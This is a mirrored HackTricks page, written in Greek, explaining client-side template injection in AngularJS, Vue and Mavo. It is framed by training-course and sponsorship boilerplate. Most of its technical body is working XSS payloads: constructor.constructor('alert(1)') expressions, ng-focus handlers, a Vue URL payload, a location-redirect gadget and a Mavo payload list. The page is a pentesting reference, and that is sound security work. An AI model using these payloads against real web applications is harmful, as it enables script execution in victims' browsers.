mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
107 lines
8 KiB
Markdown
107 lines
8 KiB
Markdown
# Client Side Template Injection (CSTI)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
|
||
## Summary
|
||
|
||
Είναι όπως μια [**Server Side Template Injection**](ssti-server-side-template-injection/) αλλά στην **πελάτη**. Η **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, η **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος.
|
||
|
||
**Δοκιμή** για αυτήν την ευπάθεια είναι πολύ **παρόμοια** με την περίπτωση της **SSTI**, ο διερμηνέας αναμένει **ένα πρότυπο** και θα το εκτελέσει. Για παράδειγμα, με ένα payload όπως `{{ 7-7 }}`, αν η εφαρμογή είναι **ευάλωτη** θα δείτε ένα `0`, και αν όχι, θα δείτε το αρχικό: `{{ 7-7 }}`
|
||
|
||
## AngularJS
|
||
|
||
Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως οδηγίες, μία αξιοσημείωτη είναι η **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
|
||
|
||
Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας:
|
||
```javascript
|
||
{{$on.constructor('alert(1)')()}}
|
||
{{constructor.constructor('alert(1)')()}}
|
||
<input ng-focus=$event.view.alert('XSS')>
|
||
|
||
<!-- Google Research - AngularJS -->
|
||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||
```
|
||
Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας στο **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στο [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||
|
||
{% hint style="danger" %}
|
||
[**Η Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `<input ng-focus=$event.view.alert('XSS')>` θα πρέπει να λειτουργεί.
|
||
{% endhint %}
|
||
|
||
## VueJS
|
||
|
||
Μπορείτε να βρείτε μια **ευάλωτη υλοποίηση Vue** στο [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
||
Λειτουργικό payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||
|
||
Και ο **κώδικας πηγής** του ευάλωτου παραδείγματος εδώ: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||
```markup
|
||
<!-- Google Research - Vue.js-->
|
||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||
```
|
||
Ένα πραγματικά καλό άρθρο για το CSTI στο VUE μπορεί να βρεθεί στο [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||
|
||
### **V3**
|
||
```
|
||
{{_openBlock.constructor('alert(1)')()}}
|
||
```
|
||
Πίστωση: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||
|
||
### **V2**
|
||
```
|
||
{{constructor.constructor('alert(1)')()}}
|
||
```
|
||
Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||
|
||
**Δείτε περισσότερα VUE payloads στο** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||
|
||
## Mavo
|
||
|
||
Payload:
|
||
```
|
||
[7*7]
|
||
[(1,alert)(1)]
|
||
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
||
[self.alert(1)]
|
||
javascript:alert(1)%252f%252f..%252fcss-images
|
||
[Omglol mod 1 mod self.alert (1) andlol]
|
||
[''=''or self.alert(lol)]
|
||
<a data-mv-if='1 or self.alert(1)'>test</a>
|
||
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
||
<a href=[javascript&':alert(1)']>test</a>
|
||
[self.alert(1)mod1]
|
||
```
|
||
**Περισσότερα payloads στο** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||
|
||
## **Λίστα Ανίχνευσης Brute-Force**
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||
|
||
|
||
|
||
{% hint style="success" %}
|
||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Υποστήριξη HackTricks</summary>
|
||
|
||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|